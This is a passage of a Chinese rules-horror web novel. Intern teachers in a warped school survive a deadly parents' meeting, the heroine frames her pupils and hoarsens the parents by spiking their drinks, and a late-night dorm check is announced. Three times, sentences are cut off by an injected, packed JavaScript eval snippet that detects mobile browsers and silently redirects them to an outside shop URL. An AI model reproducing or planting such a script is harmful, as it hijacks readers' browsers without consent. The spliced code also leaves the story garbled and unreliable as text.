这些家长没有任何规则限制,是完全不可控的,他们可以为所欲为。 “如果家长要我们去死,按照规则一的要求,我们只能服从。”沈笑白道,“服从是死,不服从违规也是死。” 家长,才是这场家长会上最要命的存在。 解悠悠脸上的笑意彻底没了,整个人都慌了:“那、我们不是死定了?” “也不一定。”纪燃道,“沈笑白说的是最坏的情况,不一定会发生。错纬再怎么离谱,也有它自己的逻辑在,不会毫无理由乱来。” “那些学生是没开智的熊孩子,杀人纯粹是为了好玩。但家长是成年人,做事得讲个由头,无冤无仇的,第一次见面就要弄死我们?这说不通。” 纪燃这句话落下的那刻,沈笑白脑子里突然闪过什么。她立刻冲向讲台,翻起那沓刚批完的试卷。 一张、两张、三张……一整个班的试卷翻完的时候,沈笑白的脸也彻底沉了下去。 “之前是无冤无仇,”她说,“现在有了。” 七班一整个班的成绩,不是个位数,就是零分,连年级排名都是倒数第一。 “家长看到这个成绩,一定会把账算到我们头上,”沈笑白分析道,“学生再在旁边添油加醋,把所有错都推过来,家长一怒之下,直接让我们去死都算轻的。” 纪燃听完脸色彻底变了,凑上来扫了一眼试卷上那些刺眼的分数:“那还等什么?趁家长还没来,快改分数啊!” 他抓起讲台上的笔,对准一张零分试卷就要改,笔尖在上面狠狠划了好几下,却连个印子都没留下。 “写不上去?怎么回事?”纪燃换了支笔又试了一遍,还是写不上去。 “别试了。”沈笑白按住对方,“方缺既然敢把卷子提前发下来,就不怕我们动手脚,这批卷子应该被处理过,改不了。” 纪燃把笔一摔,彻底急了:“那怎么办?我们班那群人一看就是傻子,成绩肯定也好不到哪去,这要是让家长看见,不得当场把我们活撕了?” 解悠悠也紧张地咬了咬嘴唇,她提议道:“不然像下午一样,把家长关在门外?不让他们进教室,是不是就不用守规则了?” “这次不一样。”沈笑白摇了摇头道,“下午是考场规则,是跟场地绑定的,离开考场,规则就管不到我们,但你看现在。” 她指了指黑板上的字:家长会期间守则。 它绑定的不是场地,是时间。 “不管我们躲到哪儿,只要家长会的铃声响起,规则都管得到我们。”沈笑白道。 解悠悠脸色彻底白了:“那、那我们怎么办?” 沈笑白看了一眼墙上的钟。 五点五十分。 距离家长会开始,还有十分钟。 她沉思片刻后,看向解悠悠,问:“会修照片吗?” 解悠悠愣了一下:“会一点,平时拍照修个图什么的,还行。” 沈笑白点了下头,又转向纪燃:“认识明矾吗?” “明矾?”纪燃在脑海中搜索了一下,“应该认得。” 沈笑白目光沉到底,对着两人说:“接下来我说的事,你们分头去办,十分钟之内,必须全部搞定。” 两人都清楚时间有多紧迫,谁也没多问缘由,全神贯注地听着沈笑白的每一句话。 …… 十分钟后。 家长会的铃声准时响起。 七班教室里的五十个座位上坐满了家长,每个人脸上都写着编号,某某号学生妈妈。 她们正捏着桌上的试卷翻来覆去地看,那些刺眼的成绩把她们看得一个比一个火大。不少人都捏紧了拳头,气得浑身止不住地抖。 21号学生妈妈第一个没忍住,她把手里那张零分的试卷往地上一丢,冷冷开口道: “章磊,考出这样的成绩,你是想直接被销毁吗?” 一直跪在边上的章磊浑身一颤,赶紧捡起试卷,双手捧着递回去。 “妈,这次不能怪我。”他哆嗦着开口,“都怪那个新来的老师,她根本就不会教,什么都不懂,我们问的问题她一个都答不上来,所以才考成这样的。” 他边说边带上了哭腔,像是这次真的冤枉他了一样。 其他学生也都跪在各自妈妈的脚边,听到章磊的这个哭声,像是收到了信号一般,纷纷七嘴八舌地跟上来: “就是,白天上课她讲的东西全是错的,我们跟着学了半天,越学越糊涂。” “她还把课本上的公式都说错了,我们背了半天才发现背的是错的。” “我们叫她别乱讲,她还骂我们,说是我们笨。” 学生们一个比一个说得真,一个比一个说得狠,把沈笑白描述成了一个不学无术,误人子弟,还辱骂学生的废物老师。 他们太了解自己的家长了,知道说什么最能戳中她们的怒点,也知道怎么说才能把自己摘得干干净净。因为惹怒家长的后果,他们承受不起。 “岂有此理!”章磊妈妈一巴掌拍在桌上,“光明中学不是全市最好的学校吗?怎么会招这种老师进来?” “就是,这种不合格的老师,就该直接销毁。”另一个妈妈接话道。 “别急,”这个妈妈明显沉稳一些,“我们让她拿不到满意值,实习期不合格,她自然就被销毁了。” “那不行,我等不了。”章磊妈妈急了,“她把我孩子的成绩教成这样,我一分钟都等不了,今晚我就要她销毁。” “那就今晚!”边上一个妈妈冷冷道,“一会我们就让她自行销毁。” 妈妈们越说越激动,你一言我一语,好像谁说的惩罚不够重,谁就显得对自己孩子的成绩不上心。 “抱歉抱歉,让各位家长久等了。” 沈笑白就在这时从门口走了进来,按照规则要求,全程保持和善。 “我姓沈,是今天新来的实习老师。”她站在讲台上自我介绍道。 章磊妈妈也不跟她客套,直接抖了抖手上的卷子,直蹦主题:“沈老师,这成绩你怎么解释?” 沈笑白一脸诚恳道:“这次学生们考成这样,都怪我。” 章磊妈妈:“算你识相——” “——都怪我上午没拦住他们。”沈笑白痛心疾首,“他们非要逃课出去玩,我拦都拦不住,嗓子都喊哑了。” 章磊妈妈:“……啊?” 这下所有妈妈都愣住了。 等一下。 逃课?怎么还有逃课的事? 沈笑白没给她们消化的时间,在讲台上的电脑上点了几下,黑板边上的投屏就亮了。 十几张监控截图整整齐齐地排列在屏幕上,全是学校娱乐室的画面。攀岩馆、VR馆、射击馆,七班的学生在里面玩的一个比一个玩得开心。 最关键的是,每一张监控上的时间都清清楚楚的,显示的都是今天上午八点到十一点,那个时间正是本该在教室上课的时间段。 沈笑白指着屏幕上铁证如山的监控,一脸委屈: “下午的考试是根据上午的课程内容出的,他们一节课都没上,到了考场什么都不会,我能怎么办?我当老师的总不能给他们作弊吧?” 她叹了口气,又道:“我当老师这么多年,再差的学生都能教出来,可这群学生根本不肯学,你们让我怎么办?” “各位家长肯定比我懂怎么管孩子,我今天就是来请教的,怎么才能让他们不逃课?拜托各位指点指点,我全听你们的。” 沈笑白这一番话连消带打的,先摆监控把自己摘干净,再卖惨博同情,最后戴高帽虚心求教,把球踢还给家长。 一套连招下来,再加上屏幕上铁证如山的监控,家长们一时有些恍惚了,到底谁说的是真的? 学生们眼见情况不妙,立刻跳出来反驳: “妈,你别听她胡说!那些监控是假的,都是她自己P的!我们今天上午全都在教室上课,一步都没出去过!” “是啊,我们哪都没去!那监控上都是我们平时在里面玩的画面,她改了个时间而已。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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可这话要是说出来,不就等于自己承认了上午根本没听课? “怎么不继续说了?” 沈笑白提议道,“不然我们一起去监控室看看?今天的监控记录都在那里,一调就知道。” “你当我傻啊?你肯定提前做过手脚了,去了也没用!”章磊一口拒绝。 沈笑白挑衅道:“不敢去?怕正巧拍到自己逃课?” 章磊被激得脑子一热,脱口而出:“沈笑白你也太阴险了吧?就因为我们上午没听课害你,你至于记仇到现在,连监控都提前准备好来坑我们?!” 话一出口,他自己先愣住了。 “没听课?”章磊妈妈一巴掌扇在他后脑勺上,“你还真去逃课了?” 章磊捂着脑袋:“妈,不是,我说的是……” “不是什么不是?”章磊妈妈直接打断他,“你自己亲口说的,还有监控和课表都摆在这儿,你还想狡辩什么?” “成绩差也就算了,还逃课,还撒谎诬陷老师,你真是要气死我了!”章磊妈妈气得上气不接下气,直接又是一巴掌。 边上其他妈妈们也都看明白了。现在在他们眼里,事实就是孩子们上午逃课,下午考了零分,害怕被责罚,就合伙诬陷老师,说老师不会教。 “我们家长在外面拼死拼活,你们在学校逃课撒谎,你们还有脸活着?” “考不出成绩的东西,留着也是浪费指标。” “残次品就该早点销毁,省得丢人现眼。” 教室里顿时乱成一锅粥。 家长们的骂声,巴掌落下来的声音,还有学生们的哀嚎混在一起,此起彼伏的。 可偏偏规则还要求学生必须服从家长一切安排,保持全程跪着。他们只能一动不动地跪在原地挨揍,连躲都不能躲。 沈笑白站在讲台上,笑盈盈地看着这一盛况。 她原本也不想做得这么绝。 可她刚进教室的时候,家长们明显都在气头上,一个个都恨不得让她马上以死谢罪,偏偏规则还要求她必须无条件听从家长的一切指令。 所以她只能抢在家长开口之前,把这份怒火转移出去。 先摆监控把责任推给学生,再设陷阱让他们跳,最后逼他们亲口承认。一套连环计下来,家长们彻底信了。 家长们因为成绩差而产生的怒火,就这样彻底从老师身上转移到了学生身上。 不过沈笑白也清楚,这套把戏只能用一次,是今天临时应急的。后面几天的家长会,不可能每天都来这一出,家长们也不是傻子,肯定会起疑。 但没关系。 沈笑白看着台下揍孩子揍得正起劲的家长们,弯了弯嘴角。 今晚,就是最后一次家长会了。 没有明天了。 19. 第42+3章 “考零分,逃课,还撒谎,生你这样的残次品出来,真是白白浪费我一个指标!” 章磊妈妈一边打一边骂,巴掌一下接一下的落在自己孩子身上。章磊缩着脖子往后躲,躲不开,也不敢真躲。 “你是不是以为我舍不得销毁你?”章磊妈妈怒吼道,“我随时可以给你申请注销,再生一个从头培养,反正我还有两个指标可以挥霍!” 章磊被揍得身上青一块紫一块,听到这句话整个人一颤。他连忙扑上去抱住妈妈的腿,抱得死死的: “妈,你要是现在注销我,这个指标可就白费了啊!总共只有三个指标,万一后面生的孩子还不如我呢?” “你再给我一次机会,我一定把成绩提上去,一定不辜负你的指标!” 章磊妈妈没说话,她低头看着抱着自己腿的儿子,沉默了几秒,像是在盘算着什么。 “……行。” 她终于松了口,冷冷道,“最后给你一次机会。下次再让我看到这种成绩,我直接给你申请注销。指标浪费就浪费了,总比在你身上继续浪费时间强。” 章磊如蒙大赦,头磕在地上咚咚响:“一定一定,我一定马上进步,谢谢妈!” 同样的一幕,正在教室里的各个角落同时上演。 家长们边打边骂,孩子们边哭边求。他们都很害怕,害怕妈妈一气之下,真的把自己申请销毁。 家长们从刚才骂到现在,足足骂了快两个小时。虽然她们无脸人的构造比较特殊,但发声器官也会累,也会超负荷。骂到这会儿,嗓子已经又干又涩了,像是有火在烧一样。 这一点,从她们越来越沙哑的骂声中就能听得出来。 沈笑白自然是注意到了这个情况。 她端着早就准备好的纸杯,笑盈盈地穿行在家长之间,在章磊妈妈面前停下来。 “章磊妈妈,消消气,喝点饮料,润润嗓子。” 章磊妈妈的嗓子正烧得厉害,她没多想,接过来仰头灌了一大口,水滑过干涩的嗓子,确实舒服了不少。 她咂了咂嘴,又道:“怎么有点涩?” 沈笑白笑道:“这是我专门准备的降火饮料,是有点涩,但对嗓子好。” 章磊妈妈一听是降火的,又连着灌了几杯下去,她现在可急需消火。 沈笑白当然没有忘记其他的家长们,她挨个倒好水,挨个递过去,笑容得体,语气温和,一副体贴周到的好老师模样。 妈妈们此时正骂得嗓子干疼,接过饮料便喝了起来,一杯接一杯,停不下来。 直到家长会的铃声响起,她们才停下了动作。 章磊妈妈站起来,声音已经沙哑得不像样了:“沈老师。” 沈笑白微笑着走上前:“你说。” “孩子逃课是他们的不对,但你当老师的连个人都看不住?这事你也得负很大责任。” 章磊妈妈的语气沉下来,“以后我不想再看到这种事发生,再有一次,你也不用活了。” 沈笑白态度诚恳,点头应下:“你放心,我一定看好他们。” 章磊妈妈见她态度这么好,心里也清楚,打一巴掌总得给颗枣子,她收起刚才的狠劲,语气缓了几分: “我知道你们实习老师转正,得拿到我们手里的满意值,想拿我的也简单,把孩子成绩提上去就行。” “你做到了,要多少满意值我都给。” 提到成绩这事,周围妈妈们也纷纷跟上来附和: “没错,只要成绩上去了,满意值少不了你的。” “我们说话算话,能拿多少满意值,就看你有多大本事了。” 沈笑白一一应下,态度依旧好得让人挑不出毛病。 妈妈们这才满意了,开始收拾东西离开。不少人都是请假出来开家长会的,一会儿回去还要加班,收拾的动作一个比一个快。孩子们也很识趣的帮着妈妈们收拾,把人一个个送到校门口。 章磊妈妈也拎起包,瞥了一眼还跪在地上的章磊:“行了,起来,送我到校门口。” 章磊连忙爬起来,一瘸一拐地跟上去。 走到教室门口,章磊妈妈忽然停住,回头又嘱咐了句沈笑白:“记住,明天家长会,我不想再看到这种成绩。” 沈笑白微笑着点头:“你放心,一定。” 她站在门口,目送那道背影消失在走廊拐角,笑容还挂在脸上,但眼神已经冷了下来。 章磊妈妈,你放心。 你们没有明天了。 沈笑白转身走进教室,目光落在那一排排已经喝空的纸杯上。 刚才的饮料里面加了大量的明矾,盐,糖。 全是刺激嗓子的东西。 这些东西加在一起,再配上妈妈们吼了将近两个小时的嗓子。不出意外,今天回去之后一个个都会哑得发不出声音。 未来几天,一个都别想开口说话。 家长会上的规则写得清清楚楚:老师须无条件听从家长的一切指令。 可要是听不见呢? 如果听不见家长发出的指令,又何来听从这一说? 这就是沈笑白的目的,让她们在接下来的家长会上无法发出指令。 这样一来,就算她们再怎么怨恨老师,再怎么想让老师去死,发不出指令,她就听不到,听不到,就无需执行。 “这种规则漏洞都能被你找到,真有你的啊!” 纪燃大步走进七班,径直走到沈笑白面前,脸上全是赞赏。解悠悠跟在他身后,一起走了进来。 “刚才我翻遍整个学校实验室才找到那点明矾,差点就没赶上!”纪燃咧嘴一笑,一脸我真厉害的表情。 和纪燃这幅兴高采烈的样子不同,解悠悠皱着眉头,一副欲言又止的样子。 沈笑白看到她这副模样,直接问:“怎么了?” “姐姐,我有个问题想不通。”解悠悠道,“你让她们失声,不就是怕她们发指令吗?那为什么不干脆全毒死?人死了连家长会都来不了,不是更保险?” 听到这话,沈笑白倒是有些意外。 她原以为这姑娘只是个不谙世事的富家孩子,现在看来是她想错了。 “可以。”沈笑白回答道,“但你有没有想过,毒死她们之后怎么办?” “学生和学校一定会追查,第一个怀疑的就是我们,到时候怎么撇清关系?如果说不清楚,我们就会被直接销毁。” 错纬是有它自身逻辑在的,就算要下毒杀人,也得提前把后路准备好。可刚才那种情形下,她们根本没有这个时间准备。 而嗓子哑了这件事就很好推脱了。这完全就是家长们今天骂了孩子俩小时产生的正常反应,和她们没有任何关系。 解悠悠在边上点点头,表示自己明白了。一转头,却看到纪燃在旁边咧着嘴,笑得眼睛都快没了。 “纪哥,你怎么这么高兴?”解悠悠忍不住问,“破解家长会的规则有这么开心吗? “那有什么好高兴的。”纪燃摆手,“破个规则而已,又不是第一次了。” “那你笑什么?”解悠悠问。 “我笑的是,”纪燃嘴角一咧,“家长手里的满意值,可比学生好拿多了。” “学生那边阴晴不定的,今天心情好给你打高分,明天看你不顺眼就能扣到负数,但家长不一样。” “她们不看脸色,只看成绩。” “只要我们在考试的时候帮学生作弊,把分数提上去,晚上家长会的时候,满意值自然就到手了。” 纪燃说着说着,眉梢都跟着扬了起来,脸上挂满了得意。 解悠悠眨了眨眼,还是有点不放心:“那学生不会故意给我们捣乱吗?” “不会。”纪燃笃定道,“提高成绩这事儿,他们求之不得。” 这一点,不管是从今晚的家长会,还是从下午那群学生缠着老师非要拿考卷,这两件事都能看出来,他们非常重视成绩。 毕竟成绩太差,可是要被销毁的。 纪燃掰着手指开始算分:“一个班50个家长,每人手里10分,光家长这儿就能拿500分。剩下的再从学生那边捞一捞,凑够100分绰绰有余。” 他说到这里,脸上的笑意忽然收了收,转头看向沈笑白: “但这办法,对你可没用。” 沈笑白现在的满意值是-1250。就算她把七班所有家长和学生的满意值全拿到手,也还是负的,距离目标还差600分。 “你打算怎么办?”纪燃的笑意彻底淡了下去。 沈笑白笑了笑,有些无奈:“还没想好。” “我帮你?” “不用。”沈笑白摇头,“你先顾好自己的满意值。” 解悠悠在旁边正想说她也能帮忙,可话还没出口,就被一阵突然响起的广播打断了。 “各位老师们,恭喜恭喜。” 方缺的声音从喇叭里传出来,一开口就是热情洋溢的祝贺。 “今天我们一共销毁了五位实习老师,成绩不错,值得表扬。” 说到这里,喇叭里还传来两声拍手的声音。 “今天的实习工作到此结束,还活着的老师们,请现在到教工宿舍集合,我们开个简单的小会。” 广播停了之后,走廊里传来其他教室开门的声音,还有陆续有人走出来的声音。 沈笑白三人也只能停下对话,按照方缺的要求先去宿舍集合。 她们刚拐进楼梯口,就碰上了从三楼往下走的谢止。他身后照旧跟着一群人,长长一串,像条甩不掉的尾巴。 三人本来是没打算跟他打招呼,但目光无意间扫到谢止脖子上的满意值时,脚步齐刷刷停了下来。 “500的满意值??” 纪燃的反应最大,指着谢止的项圈脱口而出,“你直接达标了?还超了400?” 谢止没搭理对方,只丢下一句少见多怪,就直接走了。身后那条长长的尾巴立刻跟上去,带着杂乱的脚步声消失在楼梯拐角。 要换作平时,看到谢止这个态度,纪燃早就不爽了,但现在他根本顾不上生气。 “白天我看他还是负一百啊!”纪燃一脸震惊,“怎么一眨眼就五百了?他到底干了什么?” “我知道是怎么回事。” 一个大嗓门从身后传过来。 三人转头一看,是昨天求着沈笑白带的那个胖子,叫雷子。 雷子根本不等她们接话,凑上来就直接开讲:< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17528276|203618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“谢止跟家长做了笔交易,只要家长把他的满意值打到500分,他就保证全班每个人的成绩都并列年级第一。” “做不到的话,他就带着学生一起自行销毁。” “自行销毁?他疯了?”纪燃一脸难以置信,“就算他愿意,那些学生也不见得答应。” “学生不答应有什么用?” 雷子摆摆手道,“谢止故意在家长会上提这件事,就是看准了学生必须无条件服从家长这条规则。家长都点头了,学生根本拒绝不了。” 解悠悠在旁边听得直皱眉:“但他要五百分这么多干什么?拿合同不是一百分就够了吗?” “谢止要的不是五百分。” 一直沉默的沈笑白忽然开口,“他要的是清空学生手里所有的子弹。” 解悠悠一愣:“什么意思?” “学生手里只要有分在,就是个隐患。” 沈笑白解释道,“他们要是想玩你,大可以先装乖把成绩骗到手,等实习结束前一秒再集体把你打成负分,到那时候你哭都来不及。” “谢止今晚的那五百分,八成是让家长逼着学生把分全打给他了。学生的分没了,后面也就翻不起什么浪了。” 雷子在旁边听得直拍大腿:“神了!姐你说的全对!跟我刚才在谢止班级门口偷看到的一模一样!” “少拍马屁。” 沈笑白看向他,神色淡淡道,“直说吧,你主动过来告诉我们这些,想要什么?” 雷子挠了挠头,干笑两声:“要不说姐你聪明呢,一眼就看出来了。” 雷子看了一眼旁边的解悠悠,厚着脸皮凑上来问:“姐,我看你都带她一天了。反正带一个是带,带两个也是带,你就发发善心,顺便也捎上我呗?” “谢止不是已经答应让你们跟着他了吗?怎么又突然来找我?”沈笑白猜测道,“你们闹掰了?” “嗐,闹掰倒没有。”雷子苦着脸,带着点诉苦的意思在,“主要是跟着他太危险了。” “那个方缺隔三差五就来找谢止麻烦,不是给他添堵就是给他上难度。今天好几回,差点把我们这群跟在后面的也给带沟里了。” 说到这儿,他话锋一转,脸上堆起讨好的笑:“还是跟着姐安全啊!姐你就行行好,带我一起出去,出去之后我立马打十万信用点孝敬你!” 沈笑白扫了一眼对方廉价的穿着打扮,还有那身生锈掉漆的义肢,很难相信这人说他自己有钱。 她问:“你哪来来的十万信用点?” 雷子眼神闪躲了一下,随即又端住了:“这你就别管了,我们下城区,自有我们下城区的来钱路子。” 同为下城区的纪燃在旁边一听就懂了。 什么来钱的路子?不就是偷或者骗? 他侧头看了沈笑白一眼。 心想这位可不是什么正义使者,管你信用点怎么来的,这次肯定又要见钱眼开了,结果却听到她开口说。 “不好意思。” 沈笑白一口回绝,“我有洁癖,见不得不干净的东西,特别是小偷。” 说完直接潇洒地走了,对那十万信用点没流露出半点不舍之情,只留下三个人愣在原地。 雷子愣住是因为难堪,被沈笑白当场直接拒绝,恼得他脸都红了。 解悠悠和纪燃愣住则是因为震惊,沈笑白那么爱信用点的一个人,居然会直接拒绝?什么时候转性了? 等两人回过神来,沈笑白已经走出去老远。 两人只好先追上去,一路追到宿舍大厅,满肚子疑问正打算问出口,却发现方缺早就等在那里了。 方缺扫了她们一眼,直接开口:“先过来站好,等人齐了就开会。” 解悠悠和纪燃只好把到嘴边的话咽回去,站进队伍里,挪到沈笑白身边。 沈笑白侧头看了她们一眼,比了个乖乖闭嘴的手势,一副早就算准了的会这样的模样。 一直到十个实习老师全都在大厅站好,方缺才开始正式开会。 大家本以为会听到什么诡异的会议内容,结果就是一次普通的工作日报总结。就是那种领导在下班前非要抓住所有人开的会,通篇废话,毫无意义。 大家累了一天了还要被摁在这里听这些废话,是越听越累,越听越困。 只有沈笑白,是越听越警惕。 方缺从来不会做这种没意义的事。 她现在这样,摆明了是在故意拖延时间,像是在等什么一样。 正当沈笑白百思不得其解之际,方缺突然拍了拍手,把昏昏欲睡的大家拉回了神。 “行了,会就开到这里。” 她说,“明天的工作照旧,上午上课,下午监考,晚上开家长会,跟今天一样。” 众人闻言都松了一口气,正准备散开,回自己宿舍好好躺一躺。 “哦对,差点忘了。” 方缺突然惊呼一声。 众人脚步一顿,预感不妙。 方缺笑了笑,像刚想起来似的:“每天晚上十点,老师还要去学生宿舍查寝。” 她抬眼看向墙上的钟。 21:59。 还有一分钟。 “现在出发,时间刚刚好。” 20. 第ln(e^20)章 听到还要去学生宿舍查寝,沈笑白的脸上并没什么波澜。 她早就猜到方缺莫名其妙开会拖着大家,肯定没憋什么好事,对此她心里早有准备了。 但其他人却没有。 大家好不容易熬过一天的规则苟活了下来,本以为能回宿舍躺下休息了,结果居然还没完?还要去查寝?还拖到查寝前一分钟才告诉他们? 这摆明了就是不给大家时间提前去学生宿舍看规则,想应对策略。现在踩着点过去查寝,搞不好那些学生早就在里面挖好坑了,就等着他们往里跳。 人在极度疲惫的时候,本来就容易起怨,何况是被人这样故意刁难,所有人心里瞬间怨气滔天。 这么浓烈的怨气,方缺自然察觉到了。 但她没有说什么,只是饶有兴致地欣赏着大家敢怒不敢言的样子,好似大家这副模样,让方缺觉得有趣极了。 片刻后,方缺像是终于享受够了,轻轻笑了一声:“行了行了,瞧给你们吓的。” “我又没说让你们全去。”她道,“查寝嘛,一个老师去就行了。” 众人一愣,有人站出来问:“……就派一个人去查就行?” “不然呢?” 方缺像看傻子一样看着他们,“查个寝要这么多人干什么?按班级序号来,今天一班老师去,明天二班,以此类推。” 刚才还怨气滔天的宿舍大厅,现在一下泄了气。 大家这才反应过来,方缺是故意不说清楚,就等着看他们急眼的样子,真是有够歹毒的。但转念一想,至少今天自己不用去送死了,大家心里这口气也就松了许多。 只有一个人,眼下不但松不了这口气,反而更气了。 就是一班的老师。 那个今晚要去查寝的老师。 他脸色瞬间沉了下来,怒火上涌,反倒激出了些胆气:“去就去呗,有什么大不了的。” “白天那么多规则我都破了,还差这一个?区区一个学生宿舍能有多难?” 说完他整了整衣领,抬脚就往外面的学生宿舍走。 边上几个人看他这么自信,眼神都变了: “他好像挺有把握的,要不咱也跟着去看看?” “行啊,反正早晚轮到咱,提前知道里面啥情况,到时候也有个准备。” 几个人对视一眼,抬脚就想跟上去。 “好心提醒你们一句。”方缺的声音飘了过来,“查寝只能一个老师去,其他人,一律按闲杂人等处置。” 话音一落,那几只刚迈出去的脚,嗖一下全缩回来了,谁也不敢动了。 方缺见状,这才慢悠悠地宣布会议结束,让大家各自回宿舍休息。可有了刚才那一出,谁也不敢当真,生怕她嘴里又蹦出一句,哦对差点忘了。 有人试探着问了一句:“……真没别的事了?” 方缺瞥了他一眼,笑了笑:“不想回去休息的话,现在就跟我去教学楼值夜班。” 所有人脸色一变,纷纷转身往楼上走,楼梯上顿时响起一片杂乱的脚步声。 解悠悠拉着沈笑白准备一起上楼,却被对方拒绝了,沈笑白让她们先回宿舍,说自己有点事要处理。 解悠悠赶忙问需不需要帮忙,话才说到一半就被纪燃一把搂住脖子拽走了:“行了行了,别耽误你白姐了,走走走。” “诶!纪哥你搂着我脖子了!喘不上气了!” “谁让你长这么高的,一搂就到脖子。”纪燃自顾自地继续往前拽,“快走快走,喘不上气也得走。” “姐姐你看看他呀!他欺负我!” 沈笑白看着眼前这两个闹腾的年轻人,无奈地摇了摇头,然后转身快步追上了刚走出宿舍楼的方缺。 方缺听到脚步声,停下步子回头看:“有事?” 沈笑白也不绕弯子:“方主任,现在还活着的实习老师有多少个?” 方缺思考片刻后道:“最近就招了两批实习老师,你们是第二批。两批加在一起,到现在还活蹦乱跳的,也就15个。” 沈笑白闻言,在心里快速盘算起来。 全校一共20个班,只有15个班还有老师,那剩下的5个班就是没主的状态。她现在的满意值负得太多,光靠自己班那点分根本填不平,必须去其他班抢。 但抢有主的班,等于直接跟人家宣战。你抢他的分,他就抢你的,最后互相争斗,谁都别想好过。 可没老师的班就不一样了,没人拦着,安全又省事。 她正欲开口问具体是哪五个班,方缺就先抢先一步开口了。 “别想了。” 方缺道,“那五个班的满意值,跟着老师一块儿销毁了。除非有新老师补进来,否则这五个班一分满意值都没有。” 沈笑白闻言一怔,像被人当头浇了盆冷水。 方缺却还嫌不够似的,又补了句:“而且近期学校都没有招聘老师的计划。” “所以这条路,你就别想了。” 沈笑白的脸色彻底沉了下去。 她本以为自己现在的情况已经够糟糕了,没想到还有这么大的下降空间。 现在这个局面,她只能从除去纪燃外,剩下的13个有老师的班下手。 可一旦她动手抢了第一个,剩下的12个班级就会立刻警觉。 更麻烦的是,他们不止会警觉,甚至很可能联手起来对付沈笑白。 因为沈笑白的负分实在太多了,她比任何人都需要去抢别人的分数。在其他人眼里,她就是最大的威胁。与其等着被她一个接一个地抢走分数,不如大家先联起手来把她弄死。 十三个人打她一个。 沈笑白绝望地闭了闭眼,只觉得脑袋疼得厉害。她甚至没注意到方缺是什么时候走的,脑子里一团乱麻,就这样边想边走,等回过神来,人已经走回了601宿舍门口。 她推门进去,在床边坐了一会儿,缓了缓情绪,才想起王勇还在抽屉里。 但当沈笑白拉开抽屉的时候,里面却是空荡荡的,什么都没有。 过了好几秒,才有一只蟑螂须从夹缝里探出来,左探探右探探,像是终于确认了开抽屉的是自己人,然后才立刻窜了出来。 “老沈你可算回来了!” 王勇的触须抖得厉害,“今天白天外头老有人敲门,敲了一整天!吓死我了,我就怕它直接冲进来!” 沈笑白:“你放心,就算它冲进来,也不会对一只蟑螂感兴趣。” “这谁说得准啊,万一它……”王勇话才说到一半,抽屉突然被沈笑白猛地推了回去。 王勇被震得翻了个个儿,六脚朝天,他挣扎着起身正要骂人,就听见抽屉外传来沈笑白的声音。 “你怎么不敲门?” “都什么时候了,还讲究这些?” 纪燃一脸理所当然地推门走了进来,“看你回来了,来问问今晚还要不要轮流守夜?” “不用了。”沈笑白道,“只要晚上锁好门别开,那东西就进不来。” 王勇刚才说了,那东西在外面敲了一整天的门都没闯进来,这说明宿舍对鬼怪应该有阻挡作用。只要不主动开门,这里就是安全的。 更何况,沈笑白现在还需要一点私人空间,单独跟王勇聊聊。 纪燃没追问原因,直接点头道:“行,晚上有问题随时喊我,我就在对门。” 说完他转身走了出去,不过不是回自己宿舍,而是去二楼找解悠悠。那姑娘还以为今晚要跟他们一起轮流守夜,正在收拾东西,得去跟她说一声。 沈笑白不知道这些,她只是等纪燃走后,就直接锁上了门,然后重新拉开了抽屉。 王勇终于重见天日,正要跟沈笑白算账,刚才那一震差点没把他给震死,结果一眼就看见了她脖子上的电子项圈。 “-1250的满意值??” 王勇惊呼出声,“你这出去一整天,分数怎么不光没涨回来,还倒扣了这么多?” 沈笑白把白天发生的事简单讲了一遍。从上课的规则,到家长会上的操作,再到她现在面临的满意值困境。 王勇到底是活了七十年的人,这么多年的饭不是白吃的,他一听完就抓住了问题的关键。 “那你现在不就只能去抢那13个班的分了?” 王勇着急道,“那些老师要是联起手来对付你,你可怎么办?纪燃那孩子再能打,也架不住对方人多啊!” 沈笑白心里一阵烦躁,真是哪壶不开提哪壶。 “我知道。”她说,“先别提这个了,让我静静。” 她没再搭理王勇,直接躺到床上闭眼休息。 昨天那鬼东西是12点之后才来的,今天应该也差不多。现在离12点还有两个多小时,她还能趁机歇一歇。 可王勇哪肯就这么算了,他等了一天才等到有人说话,憋了一肚子话没处讲。 他直接从抽屉里爬出来,沿着桌腿往下爬,一直爬到床脚。他很识相地没有爬上床,他知道自己要是真爬上去,沈笑白一怒之下可能真会一拖鞋拍死他。 于是王勇老老实实趴在床底下,仰着头,对着床板继续输出。 “不是我说你啊老沈,你非要进那个裁缝铺干什么?老薛和老郑你忘了?” “她俩就是直接穿到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17528277|203618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裁缝铺里头的,一个成了针娘,一个当了尺官。人家在里面摸了一年,都没能把错纬清干净,让这游戏结束。你进去了又能怎么样?” 王勇叹了口气,“现在好了,为了进那个裁缝铺,来了这么个要命错纬,你可能直接就交代在这儿了!” 他说到这,突然反应过来。 “哎不对,是我们!我也稀里糊涂被你一起带进来了!” “完了完了,这下可全完了!” 王勇急得原地打转,“我天天缩在屋里不敢出门,结果还是被弄到错纬里来了!你要是出不去,我也完蛋了啊老沈!” 